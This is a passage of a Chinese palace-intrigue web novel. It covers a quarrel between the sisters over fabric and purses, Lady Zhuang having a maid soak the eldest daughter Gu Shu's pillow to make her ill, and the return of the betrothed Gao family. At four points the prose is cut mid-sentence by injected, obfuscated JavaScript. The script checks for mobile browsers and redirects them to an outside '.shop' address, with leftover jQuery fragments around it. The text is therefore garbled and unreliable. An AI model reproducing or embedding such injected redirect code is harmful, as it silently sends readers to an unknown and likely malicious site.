顾姝这丫头，性子明明活泼灵动，偏因着长女的身份，平日里总做出副端庄稳重的模样出来，很是有趣。 虽然顾姝明面上还比她大着两岁，顾婕实则是把她妹妹看的。因着陈姨娘的关系，两人本也亲厚，是以有好东西，顾婕定是先给顾姝留着。 白蕊忙奉承：“姑娘想得周到。这绿色鲜亮青翠，正适合大姑娘！过几日府里裁新衣，正好配这新荷包。” 说罢得意地瞟了绿萼一眼。绿萼眼风都没回她一个。 *** 前两年，因着顾侯守孝丁忧，便有空管起了家中几个儿女的课业。在他看来，几个女儿都大了，连顾婵都开了蒙，倒不需读那许多书，学些针线活便是。于是便将府中姑娘们的功课都撤了，只是在上午，由府中的绣娘指点着学些女红针黹便是。如今府中读书的，也只顾修荣一人了。 原说瑞萱堂地方大，便将几个姑娘学针织的所在安排在瑞萱堂的西厢房，只是顾嫤私下里跟母亲抱怨过，不乐意往顾姝住的地方跑，庄夫人便发了话，改在了花园花厅的侧间里。 是以姑娘们每日上午，便都在园子里的花厅内，由着府里的绣娘指点做针线。 今日却是没有活计要做。因着定远侯府要举办秋宴，府里大小主子们都要裁制新衣。上午，针线房便往花厅里送来了衣料，又叫京中有名的首饰老店凤回首送来首饰图样子，供府里四位姑娘挑选。 说是姑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922721|192627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘们自已挑衣料，其实不过是挑个上衣颜色。至于裙子褙子，衣领袖边，禁步香包等配饰，自有针线房的绣娘们再去配色。是以所谓挑衣料，也不过是图一乐呵罢了。 四个姑娘挑完衣料首饰，本已无事。 只顾嫤看了眼顾姝选的那匹料子，眼睛转了转，笑吟吟对顾姝道：“姐姐今日选的那藕荷色的料子，妹妹我也着实喜欢。不知道姐姐可肯割爱？” 顾姝不禁无语。顾嫤这丫头，又来生事了。 府里的规矩，四位姑娘，份例都是一样的。几个姐妹选的料子都是今年京中时兴的浣花锦，只是颜色不同罢了。 顾姝是长女，长幼有序，自然是她先挑。因想着自己年岁最长，便选了藕荷色这个稳重的颜色，将鲜亮的颜色让给几个妹妹。 而顾嫤才如今十三岁，还没有长开，却实是不适合穿这样有些老气的颜色的。顾嫤不是喜欢这个颜色，而是喜欢找顾姝的麻烦。 而顾嫤爱寻顾姝的麻烦，也是有些缘故在。 四年前，定远侯做主，将顾姝与高家的婚事定下。之后，庄夫人对顾姝的态度便有了微妙的变化。 庄夫人出身寻常，家中不过是五品官的门第，是以嫁到侯府中，便有些底气不足。顾姝又是养在老太太跟前的嫡长女。故而先前，庄夫人待顾姝一直还算客气。 可如今顾姝的亲事定下，未来公公不过是贬斥地方的四品武将，与侯府门第简直是天壤之别。而顾姝嫁到这样的人家，怕也再难有什么前程可言。 许是有这样的考量，庄氏当即便对顾姝轻慢起来。晨省昏定时，想给顾姝立规矩不说，在做当季衣料时，竟将一匹染了污渍的衣料分给了顾姝。 顾姝又岂是那等会受这闲气的人，当下便找祖母告状。顾老夫人勃然大怒，当着下人的面便狠狠申斥了一番庄夫人。 这还没完。 当晚顾侯下值回来，知道此事，亦是将庄夫人一顿教训。后又赏了顾姝一堆衣料，以做抚慰。至此以后，阖府上下，再没有人敢再怠慢顾姝这个大姑娘。 庄夫人亦是再不敢招惹顾姝，两人这些年来也算相安无事。只那以后，顾姝也知道了这个继母心思颇多，对庄夫人也不似从前那般尊敬，多了几分警惕。 可也是那件事之后，顾嫤便对顾姝颇有意见。虽然终是忌惮她这个长姐身份，并不敢闹出太大的是非，小事上却是时有挑衅。 今天张口要顾姝的衣料，也不过是借机生事罢了。若是放在往常，顾姝也就一笑置之，由着她去。毕竟她是长姐，大着顾嫤三岁，自然要有长姐的气度，些许小事犯不着计较。 可是如今祖母不在了，庄夫人与顾嫤都不是懂得见好就收的人。她今日若是退让了，只怕有人便觉得她好欺负，只会愈发生事。 如今顾嫤也大了，顾姝不打算再惯她这毛病。 5. 第 5 章 顾姝看着顾嫤，似笑非笑道：“藕荷色颜色也太寡淡了些，妹妹生得本就娇丽，还是穿些鲜亮的颜色更合宜。” 顾姝与顾嫤这边说话，顾婕已是起身，拉起顾婵：“四妹妹，我昨日里叫人做了几个荷包玩，样子还算有趣，你同我一起去拿。” 顾嫤爱生事，只顾姝也不是任人拿捏的性子。她跟顾婵就不必掺合了。 顾婕颇有自知之明，虽然她跟顾姝关系好，可若她真偏帮顾姝了，反而是给顾姝惹麻烦。是以，还是带着顾婵远离这是非之地为好。 顾嫤并不理会顾婕与顾婵两个，听顾姝夸她相貌，自得一笑。 她本就是姐妹几个中生得最好的，对此也颇为自负。只是却还是坚持道：“姐姐，我就是喜欢你那个颜色，我拿我那个杏粉的料子跟你换。” 顾姝微笑。杏粉的料子是不错，只是庄氏定会另外给顾嫤备了好料子。这布料顾嫤本也不会用。 顾姝便道：“这倒不必。只是妹妹今日选的那个粉晶蜻蜓钗我觉得不错，妹妹不若用那个跟我换？” 顾嫤一噎。那个蜻蜓钗选的是粉晶，样式灵动可爱，最适合她的年纪。她一眼就相中了，抢先要了那个钗子。至于一块布料，她本也不是多喜欢，哪里舍得用钗子去换什么布料。 顾嫤不由撅嘴道：“姐姐真是的。自家姐妹，要你一块布料，还非得妹妹拿旁的来换才行！” 顾姝正色道：“从前妹妹年纪小，便是跟我要些东西，我做姐姐的也无有不应。只是如今妹妹大了，也该知道些道理。为人处事，最要紧的便是有来有往。我并非贪图你一根钗子，只是你在家里，对着自家姐妹可以见到好东西，张嘴便要，但是若到了外面，难道也能这样么？” 被顾姝这样一番大道理砸下来，顾嫤脸色更是难看，道：“大姐姐也别只说这些大话。不过是个衣料罢了，值得你这样说嘴？” 顾姝并不与她争辩，反而缓了语气道：“那好罢，三妹妹，你是当真觉得，这个藕荷色的料子与你相衬么？若你真这么觉得，只要你保证，拿了这衣料，一定做了衣服，在宴会当日穿出来，那时，我跟你道歉，还将这钗子还你，如何？” 顾嫤再想不到顾姝竟这样挤兑她。 她怎么可能喜欢藕荷色这么老沉的颜色？母亲已经给她留了一款蔷薇粉的料子，虽说颜色跟她选的杏粉差不多，只那料子的颜色却是更亮更艳，且面料也更好。她要顾姝的衣料，不过是随口一说。到时候她自然是用母亲给自已留的料子做衣裳，再随便找个理由搪塞过去便是。 况且府里这场秋宴极是隆重。她自恃自己生得貌美，早想着在宴会上穿着新衣，叫旁人好生瞧瞧，又哪里愿意在宴会穿什么劳什子藕荷色？ 可先前自己说了喜欢那衣料，如今说不愿意，岂非正应了顾姝所说，自己不过是胡搅蛮缠？ 顾嫤脸色一阵红一阵白，再说不出话来。 顾姝见顾嫤这模样，微微一笑，道：“妹妹既是不愿意，那便罢了。” 说完，也不等顾嫤回话，施施然转身走了。留下顾嫤一个人板着脸，气鼓鼓坐在一边。 旁边的丫环婆子们皆是屏声敛气，不敢发出一丝声响。 过了一阵，屋外传来细碎的脚步声。 顾婵的兴奋的声音由门口传来：“这荷包真好看，谢谢二姐姐。” 顾嫤转头，便看见顾婕顾婵从外头进来，顾婵手里还拿着一个荷包，上面依稀绣了一只蜜蜂。只那蜜蜂身量极胖，憨头憨脑极是可爱。顾婕手中还拿着两个荷包。 顾婕一进来，不见顾姝，诧异道：“大姐姐走了吗？” 她随即便感觉到屋内气氛不对。转头见顾嫤板着个脸，一副气鼓鼓的模样。 顾婕拿着两个荷包，便有些进退为难。 毕竟已经拿过来了，且也已送给四妹妹一个了。这会子倒不好再拿回去。 顾婕还是走到顾嫤跟前，柔声道：“三妹妹，我近日无事，叫丫头做了几个荷包，送给姐妹们玩儿。” 说罢，递给顾嫤一个粉蝶荷包：“三妹妹莫要嫌弃。” 这只蝴蝶荷包是用粉色绣的，上面蝴蝶翅膀上的花纹还缀了珍珠，精致华美。 顾嫤却是不接，视线反而转向顾婕手中那个蚱蜢荷包。那上头绣了只趴在石头上的蚱蜢。通体翠绿，灵动可爱。 顾嫤慢慢露出一丝笑容：“二姐姐，让我瞧瞧你手里的那个，上面绣的是蚱蜢么？倒是有些巧思。” 顾婕面色一滞，无奈把那个蚱蜢荷包递给顾嫤。 顾嫤拿在手里看着，笑道：“这活计做的的确细致，可见的确是花了心思的。” 只她将荷包翻来覆去把玩，却不提还回去的事。 顾婕颇觉无奈。几个荷包，她本就是根据几人的喜好来的。顾嫤素来喜欢精致富丽的小玩意儿，故而她给顾嫤准备的就是粉蝶荷包。这蚱蜢荷包，其实也就顾姝喜欢。 顾嫤自然也知道顾姝的喜好。是以，放着粉蝶荷包不要，偏要去争这个蚱蜢荷包。 罢了，一个小玩意儿，本也不是什么贵重东西。 顾婕微微呼了口气，笑道：“妹妹既然喜欢，只管拿去玩好了。” 顾嫤听得顾婕口中不情愿之意，更是恼火。她冷笑一声：“怎么好偏了姐姐的东西？” 那个蝴蝶荷包看着华丽，可是绣法简单，哪有这蚱蜢荷包做工精细，栩栩如生。顾婕这死丫头，心里头定是偏向顾姝的。 她随即解下自己的荷包，往顾婕怀里一扔，随意道：“喏，这个荷包姐姐拿去好了。” 她心中有气，态度便很是倨傲轻慢，似是打赏下人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922722|192627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一般。 顾婕的脸色更是不好看。她微微低下头，不叫旁人看到自已的脸色。 偏偏顾嫤还笑道：“我这个荷包是金线绣的，倒是比姐姐这个还精贵些。不过自家姐妹，也不需讲究这许多！” 便是顾婕性子平和恬淡，这会儿心里头也有火气上来了。 顾婕沉着脸，并不说话。在她身后的白蕊这会儿却接上了话茬，道： “奴婢还会绣些别的新鲜样子，正说着呢，若是三姑娘喜欢，奴婢再做了出来孝敬三姑娘。” 顾婕身后另一侧的绿萼原本垂着头。听见白蕊这话，不由微微侧脸瞟了白蕊一眼，见白蕊那讨好的神态，又默默转回头。 顾嫤倒是很喜欢白蕊这番巴结，脸色稍霁，转头对顾婕笑道： “你这个丫头倒机灵，手也巧，好姐姐，把你这个丫头借我用下可好？” 顾婕淡淡道：“别说是借用一下，便是妹妹觉着好，想要去也是使得的。” 她性子是好，可终究不是什么圣人，话里终是带出了几分火气。 顾嫤笑吟吟道：“那可不行，母亲知道我乱要姐姐的使唤人，定要狠狠责罚我的。” 又叹了口气：“算了，我这会子也不缺荷包使。” 秋映嘲讽地看了一眼难掩失望之色的白蕊，与一旁的秋临递了个眼色。 顾婵坐在一边，翻来覆去看自已手里的荷包，仿佛什么都没有听到。 晚上请安，顾姝一眼便瞧见了顾嫤腰间的蚱蜢荷包。 顾姝下午已得了顾婕送的蝴蝶荷包，也是知道了事情原委。见顾嫤这般，知道她是故意的，不过一笑，并不放在心上。 只庄夫人亦是看到了顾嫤的新荷包。顾嫤是她亲生女儿，身上的物件她都是清楚的，这个荷包却是从前没有见过。 庄夫人不由好奇：“嫤姐儿，你身上这个荷包，是你丫头新做的？” 顾嫤摘下荷包，笑嘻嘻递给庄夫人看：“母亲，你瞧这个荷包的上的蚱蜢，有意思不？” 庄夫人点点头：“是，样子新鲜有趣儿，绣工也细致。确实不错。” 顾嫤笑道：“我有个金钱绣的荷包给了二姐姐玩，二姐姐便把这个荷包给了我。” 顾嫤淡淡一笑，没有说话。 庄夫人便嗔顾嫤：“那是你二姐姐，看上你个荷包，给了便是，怎的还能再要你二姐姐的东西！” 一旁伺候的高妈妈凑趣道：“可见这正是咱们三姑娘懂事体贴的地方了。姐姐拿妹妹的东西，传出去多难听。可是姐妹间交换个荷包，不正显得姐妹和谐么！还是咱们三姑娘懂事大方！说起来，咱们三姑娘的荷包，可是金贵多了！” 顾婕听着这母女主仆一唱一和，面上笑容一丝不变。 顾姝垂了眼帘，抿紧嘴辰，没有说话。 6. 第 6 章 出了明慎堂，顾姝方叹了一口气：“三妹妹这性子……” 这回，二妹妹实在是被自已连累，才被顾嫤排揎，受这无妄之灾。可自已又不好替她出头。真惹怒了庄夫人，二妹妹处境只怕更艰难。 行至兰葶院，顾姝吩咐烟霞：“我现在去二妹妹那里。你先回屋子，将我上回买的那套牛角杯拿来，我要送给二妹妹。” 那套杯子材质普通，不过是寻常水牛角，只是胜在做工精巧。茶壶是狭长的百合花状，配了四个小杯子。每个小杯子下面，亦都有花朵底座，很是玲珑可爱。用来送给姐妹把玩，最是相宜不过。 烟霞点点头，快步回了瑞萱堂。 顾姝进了兰葶院东厢房，与陈姨娘见了礼，道：“姨娘，我来寻二妹妹说说话。” 这么晚了，还过来寻二姑娘说话？陈姨娘疑惑看着顾姝。 顾婕已是闻声走过来，笑道：“一点子小事，哪里就值当大姐姐特意跑一趟的！” 陈姨娘皱眉。看着屋里只有有绿萼一个，便直接问道：“这是发生了什么事？” 顾姝顾婕对视一眼。顾婕便挑拣着把今日荷包的事情说了。 陈姨娘半晌不语，末了，才摸摸顾婕的头发：“你受委屈了……” 顾嫤性子要强，自已女儿是庶出，但有口角，总是自已女儿退让。平日里姐妹相处，也不知受了多少气。 顾姝心中更是愧疚，低声道：“二妹妹也是受了我的池鱼之灾。” 有姨娘跟顾姝如此真心实意地关心，顾婕便是有些郁闷，此时也早散了。更何况，她心智成熟，本也不会去跟一个小女孩计较。 顾婕便笑道：“三妹妹性子霸道。跟大姐姐有什么相干？” 说话间，烟霞已是将那套牛角杯拿了过来。 顾婕见顾姝这会儿心情低落，有意哄她，就笑道：“多谢大姐姐，今日三妹妹生了场气，倒叫我又得了大姐姐一套宝贝。” 她又想起一事，忙进屋，拿出一个小瓷盒子出来：“大姐姐，这是我刚浸好的桂花膏，冬日里用来搽手，再好不过了。你试试！” 说罢，便打开盖子，用指甲盖挑了一点脂膏，涂到顾姝手背上。 顾姝知道她平日里爱捣腾这些小玩意儿，也不推辞，将脂膏在手上抹匀，却见手上竟是滋润白晳了许多。 她不由讶然：“这回的脂膏，不但滋润，涂上去手竟还变白了些！” 顾婕有些自豪：“这次做的护手膏跟去年的不一样，我加了些茉莉粉进去，是以有点增白的作用。” 顾姝笑道：“二妹妹可真是心灵手巧，你都是哪里学的这些本事！” 顾婕一滞，随即笑道：“都是书上瞧来的。” 顾姝见顾婕言言笑晏晏，显然是真不把今日之事放在心上，终于放下心来，释然道：“有这么手巧的妹妹，我可是占了大便宜了。” 顾婕便笑着打趣顾姝：“这算什么，等大姐姐成亲了，我亲自做一套脂粉送给你！” 顾姝脸登时红了，啐她：“胡说什么呢！” 顾婕只是开玩笑，只是这话却勾起了陈姨娘的一桩心事。大姑娘如今都十六岁了，可是高家那头还是没消息传来。 她有些忧心忡忡地问起顾姝：“高家的事，大姑娘是个什么想法？” 陈姨娘所说的高家，便是顾姝的未婚夫家。 这桩婚事，是顾姝母亲还在世时定下的。当时高家还是勇毅侯府，与顾家也算是门当户对了。同顾姝定亲的是勇毅侯高景川的嫡长子，名唤高晏。 只是元亨八年的皇后巫蛊案中，高家亦是被牵连进去。高晏的父亲高景川爵位被褫不说，还被贬到川西府丹山县做了个守备。两家至此断了来往。 未曾想到的是，四年前，高景川竟然进京了，许是因在地方立了什么功劳，还得了嘉奖，升作了四品参将。之后高家人便拜访顾家，重提起了这桩婚事。 虽说两家如今门第悬殊，可因是亡妻生前亲口所许婚约，顾侯还是应了下来。两家便正式换了庚帖，定下婚事。 亲事定下之后，高家人便回了川西。如今顾姝年龄一天大似一天，高家却是再无音讯传来。 见陈姨娘这般问，顾姝略显无奈，道：“如今也只能再等等看了。” 陈姨娘抱怨道：“依我说，当初就不该跟高家说下这门亲事。” 顾姝便道：“姨娘，这亲事是母亲在世时应下的，岂能不认？” 陈姨娘的眉头皱了起来：“哪里是夫人应下的。高家的韩夫人跟夫人相熟，那回韩夫人来府里做客，说起你同那高宴年岁合适，可以做个娃娃亲。夫人便笑着应了。 不过是凑趣说的玩笑话罢了，本就不做数。谁知道那高家，怎么就这么厚颜，自家贬到川西了，还到府里提这亲事。” 顾姝好笑道：“姨娘，婚姻大事，岂是儿戏。若真只是玩笑话，父亲又何以会定下这桩亲事？” 顾姝知道陈姨娘偏颇自已，不愿自已远嫁川西，没少在自已跟前抱怨这桩婚事，是以也不将她这话十分当真。 她反倒安慰起陈姨娘：“姨娘，既然母亲父亲都同意这桩婚事，想来高家的门风人品都是信得过的。姨娘不必为我担心。” 陈姨娘看着顾姝澄澈无邪的眼睛，只觉得嘴里发苦，一时再说不出话来。 顾婕看看顾姝，又看看陈姨娘，出声道：“无论如何，这婚事总是高家主动上门提起的。一个四品武官之家，能娶到侯府长女，也是他家的造化。他家自然不会舍得放弃这么好的亲事。想来，很快就会有消息了。” 顾姝微觉这话听起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922723|192627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些不顺，但她看着陈姨娘紧皱的眉头，不及细想，又去安慰姨娘：“姨娘放心，我也不是那等不知变通的人。再等半年，若到了年底，高家人还是没有音信，我自会禀告父亲，求父亲退了这门婚事。” 陈姨娘却不觉得宽慰：“便是高家有消息又能如何？大姑娘堂堂侯爵之女，下嫁个四品武官之家，又哪里是什么好姻缘？再者，川西山高水远，大姑娘，真的就愿意离开京城，远嫁到千里之外不成？” 这话亦是戳中顾姝心中最大的隐忧。但是婚事已定，她又能如何？顾姝甚至不知道高家是有消息好，还是没有消息好了。 沉默半晌，顾姝终是抿抿唇，郑重道：“婚姻本就是父母之命，媒妁之言。父亲总不会害我。高家若有音信，我也自当守约。” **** 顾姝姐妹在兰葶院说话，那边明慎堂里，一见到顾姝等人离去，顾嫤便变了脸色，把那蚱蜢荷包从身上扯了下来，狠狠扔在地上。 庄夫人唬了一跳，忙道：“你这丫头，这是怎么了？” 她看着那荷包：“这荷包做工精细，你不是挺喜欢的么？” 顾嫤恨声道：“一个破荷包，谁看在眼里了！” 她本也是娇生惯养的，哪里肯受这气。便添油加醋将今日布料之事说了一通，最后才红着眼睛道：“不过是一块布料罢了，不给就不给，我还多稀罕不成，竟还拿大道理出来压我，说我不守规矩。若不是母亲慈爱宽和，就她一个死了亲娘的拖油瓶，能过什么好日子！” 庄夫人听了女儿这番控诉，胸中愤怒，实不亚于顾嫤。 她因为自己出身低微，而顾姝自小养在老夫人处，从小对这个继女便是供着敬着。没有想到竟然养得这个丧母长女目空一切，半点不将自己母女放在眼里！ 自已好心赏了银耳给她，她却是挑三拣四；当着自己的面，就敢逼着荣哥儿给个庶女道歉；今天又公然教训自己女儿。 庄夫人越想越觉得心中气血翻涌，怒气升腾。 这个顾姝，未免太过嚣张。 从前有老夫人看着，自已让她三分也就罢了。如今老夫人都不在了，这个顾姝，却还是不识时务，倨傲无礼。真当自已这个当家主母拿她没办法不成？ 庄夫人心中盘算着要如何整治顾姝，口中还安慰女儿：“好女儿，不必理她那个破落户。母亲定会为你出这口恶气！且由她再张狂几日，等那高家人来了，便将她远远打发了，再不会碍你的眼！” 听到母亲答应为自己出气，顾嫤心里终于畅快，见母亲说这话，又忍不住好奇问：“母亲，当真是要把顾姝嫁去边夷之地么？” 庄夫人冷笑：“那可是人家的亲娘给她找的好亲事，我理她做甚？再者，你父亲都没有说不叫她嫁去，我多管这个闲事做什么！” 7. 第 7 章 夜色已深，阖府上下皆是一片静谧。远处隐隐传来若有若无的梆子声，间或夹杂着一两声犬吠。 烟云轻轻打开窗户，透过窗缝，看到漆黑的夜幕之上，寥寥挂着几颗星子。树梢上一团乌云缓缓飘来，将本就黯淡的半月遮住，只露出绰绰一点影子。 夜风吹过，带得院里树叶哗啦作响。烟云亦被这凉风吹得一个激灵。她瞧着外头的夜色，心中叹了一口气。犹豫了半晌，终于轻轻将窗户推得大开。 外头的凉风没了遮挡，登时肆无忌惮地涌进屋子。 烟云又悄悄行至桌边，从茶壶中倒出了半盏早已冷掉的水，转身往床边缓缓走去。 软底鞋踩在地面上，没有发出一丝声音。 烟云对卧室熟悉已极，借着窗户透进来的黯淡月色，毫不费力走到床边。恰此时，一阵凉森森的秋风从窗户吹进了室里，吹得帷帐一阵颤动。烟云的心亦随着颤抖起来。 半晌，她平复了下心情，方一手持杯，一手将帷帐掀开。里面顾姝睡得沉静，对她的动作毫无察觉。 烟云轻轻把帷帐一角塞在褥下，露出个空缝。随即又静静立了一会儿，而床上之人始终呼吸均匀，睡眠不曾被打搅到一点点。 烟云闭上眼睛，轻轻呼出一口气。再睁眼时，已是下定了决心。她伸出手，将茶杯斜斜倾在枕头上，杯中之水便缓缓流到枕头上，很快又洇进了丝锦之中。 忽然一阵急风吹过，窗户被带起，猛得撞在窗棂上，发出“砰”地一声巨响。 烟云骇得几乎惊叫出声，她急急伸手捂住自已的嘴巴，迅速蹲下身子，坐在脚榻上，又缓缓躺下，只是精神却是益发紧绷，仔细留意着床上顾姝的动静。 她的心口因着这一声惊吓，亦是砰砰跳得厉害。烟云不得不伸出还在紧紧攥着茶杯的手，摁在胸口上，只望能将心跳声压下去一些。 顾姝亦是被那声音惊到，半梦半醒间出声发问：“烟云，怎么了？” 烟云抖着声音道：“是，是窗户，想是窗户没有关好。奴婢现在去关。” 床上的人又含糊说了一声什么，便再没有声音。 烟云等了半天，确定顾姝终于睡着了，方又起身，将手中的杯子放回桌上，小心摆好。又走到窗前，轻轻将打开的窗扇固定住。 再躺回脚榻上，烟云的心依旧砰砰跳个不停。她摸摸额角，只摸到一手冷汗。她只觉得浑身酸软，再使不出一丝力气。辗转半夜，方忐忑睡去。 第二日清晨，顾姝微微睁眼，只觉得喉咙火热，头也是痛胀难忍。 她欲叫人，一张口，声音又沙又哑：“烟霞……” 烟霞闻声来到床边。 烟云亦跟了过来。她今日却也是脸色蜡黄，神情憔悴，一副不曾休息好的模样。 烟霞看了烟云一眼，虽觉奇怪，只这会也顾不上理会。她转向顾姝，柔声道：“姑娘，可是要起了？” 顾姝哑着声道：“你去回夫人，说我今日不舒服，不能过去请安。再者，叫人去给我请个大夫瞧瞧。” 烟霞一边应着，一边伸手去摸顾姝的额头，一触及额头，便惊道：“姑娘，你头上怎么这么烫！” 顾姝有气无力道：“你小声些，吵得我脑门疼。” 烟霞也不多说，匆匆去明慎堂向庄夫人回话。烟云则去给顾姝倒了杯温水喝，又叫小丫头烟雨过来照应着。 庄夫人自然心知肚明是怎么回事。 她轻描淡写道：“快去请大夫罢！你们小心伺候着，府里马上要办宴席了，得快点让大姑娘好起来才是！” 过了会子，诸人陆续过来请安，却不见顾姝。顾嫤便笑着问庄夫人：“大姐姐可是又来晚了？” 庄夫人皱眉道：“方才烟霞过来说，你大姐姐不知怎的发起烧来，已是叫人请了大夫。” 顾嫤闻言，抿嘴一笑。庄夫人横了她一眼，顾嫤方敛了颜色。 待旁人散去了，她才趴在庄夫人身边撒娇：“母亲，顾姝她……” 庄夫人没好气白她一眼：“你大姐姐病了，这回，你可如意了罢！” 顾嫤听这话头，嘻嘻笑道：“还是母亲疼我！” 庄夫人得意理了理鬓发。她一个当家主母，堂堂侯夫人，难道还收拾不了一个小丫头？从前，不过是顾及着那老太婆罢了。如今，老太婆没有了，顾姝还当自己多金贵哪！ 顾嫤却是眼珠一转，搂着庄夫人亲昵道：“母亲，既然她病了，不如，就让她多病一会儿，最好是参加不了府里的秋宴才好呢！” 庄夫人无奈戳了戳她的额头：“蠢丫头，想什么呢？府里家宴，堂堂嫡出大姑娘，宴会都病得起不了身，传出去，难道还很好听么？你想让外人怎么说你母亲我？” 侯爷是个最重名声的人。她私底下做些小动作，无伤大雅，侯爷也不会追究。只是，若在秋宴这样的大事上丢了侯府的脸面，这后果她却是承担不起的。 顾嫤哼了一声：“这回算是便宜她了。”嘴上虽如此说，只面上还带着笑，显是极为开心。 庄夫人出了口恶气，心中亦是觉得快意。 待见到今日一位意想不到的客人时，那快意便涨到了十分。 庄夫人看着堂下垂手侍立的管事娘子，噙着笑道：“府上何时进京的？我竟是一点不知道，也不曾前去相迎，实在是失礼。” 那管事娘子微微俯身，笑道：“些许小事，并不敢劳烦夫人。进京五六日，家里收拾停当了，便赶紧来府上送帖子。” 庄夫人奇道：“府上是全家都回京了么？” 管事便道：“就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922724|192627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们老爷太太还有大公子回京了。还有几位姑娘少爷，还在川西，不曾同来。” 庄夫人又寒暄了几句，方笑道：“成，后日我跟我们侯爷，便在家扫榻恭侯了！” 送走那管事娘子，庄夫人看着手中的帖子，面上露出怪异的微笑：“高家，可算是来了。” 她可是盼星星、盼月亮，等着高家人来迎娶顾姝哪。 晚上顾世衡下值，庄夫人一边给他换下衣裳，一边柔声道：“今儿个收到了高家送来的帖子，道是后天休沐日阖家来上门拜访。我前阵子还想着呢，大姑娘年龄一日日地大了，这高家怎么就没有个音信了，可巧儿，今儿个就收到他们的帖子了。” 顾世衡仰头，由着庄夫人给他解扣子，不甚在意道：“嗯，我约摸着他们也该来了。高家这回在川西平定夷人叛乱，立了大功，想来朝廷也会有封赏。” 他语气里带了些赞赏：“高家人，还是有本事的。便是发配到了川西，竟是又让他们挣了一条路出来。” 庄夫人呵呵笑道：“是，亲家前程好，大姑娘嫁过去，咱们也放些心。” 不过是个四品参将，便是升官，能升多少？庄夫人不担心高家人升官发财，只消能将顾姝远远嫁出去便可。 顾世衡看了她一眼，神色淡淡道：“那倒未必。朝廷里这两日倒有人提起，道是高家这回平定夷人叛乱有大功，怕是这回要调回京中了。” 庄夫人一怔：“什么？高家要调回京城了？” 顾世衡道：“只是听说而已，具体封赏如何，还需过两日才能知道。” 庄夫人替顾世衡松躞蹀的动作便缓了下来。 上午高家遣人过来送帖子，那婆子衣着体面，神态从容。态度虽然恭敬，却也毫不谄媚巴结，并没有半分落魄的样子。 当时她便觉有异。这会儿听丈夫这般说，便觉得心里头滋味有些不好。 她对顾姝向来有几分优越的。便是出身高贵的嫡长女又能怎样？女人前程如何，还是得看夫家的尊荣。每每想起顾姝的亲事，她便觉得快意。故而便是顾姝对她这个继母颇有几分傲气，她也尽数忍了下来，只等着瞧顾姝的笑话。 没有想到，高家竟然有可能返京。即便都是四品，嫁到京中，与远嫁川西，终究大有不同。 顾姝嫁得好不好，不过是意气之争，到底无关痛痒。庄夫人心里，实是另有一桩要紧的事情。 念及此，庄夫人微生不安。她看了眼丈夫，勉强挤出个笑脸：“这，这可真是太好了……” 她忽又想起一事，心情更是忐忑：“呀，姝丫头这两日恰是生病了，这可如何是好？” 顾世衡的眉头皱了起来：“明天赶紧请大夫好生看看，莫要误了正事。” “是，侯爷，妾身晓得。” 8. 第 8 章 两日后，高家人如约上门。只是却不见高大人，登门的只有高太太韩氏及高晏母子。 韩氏瞧着四十多岁的年纪，身量中等。穿着件青绿色织金如意纹裙子，头上盘了个圆髻，插着一支赤金嵌宝五福簪。她本是个四方脸型，只是人有些消瘦，颊边拉出两道长长的法令纹，便显得脸型极长，带上了几分严厉。 见到在门口迎接的庄夫人，韩氏笑容满面，那稍稍有些刻薄的面相登时柔和许多。 两人见了礼，韩氏便先致歉：“本说是阖家上门拜访的，奈何才出门，宫里竟宣了老爷过去，不知道他什么时候回来，我们这边也不敢怠慢，只能是我带着孩子先上门来，我们老爷改日再登门，亲自向侯爷赔罪！” 虽是致歉，只是那语气里的兴奋是遮挡不住的。 不过是穷山僻壤里的小小参将，倒在她这个侯夫人跟前炫耀起来了。 庄夫人心里鄙夷，面上却堆满笑容：“都是自家人，何必这般客气！可见高大人圣眷隆盛，正受朝廷倚重呢！” 又看向韩氏身边的年轻公子：“这是府上大公子罢！生得真是一表人才！” 韩氏忙介绍：“这便是犬子高晏了。” 高晏便过来见礼。 他身形高挑，挺拔俊逸。五官却有些阴柔，貌若好女。穿着大红祥云纹箭袖，更显风流俊美。 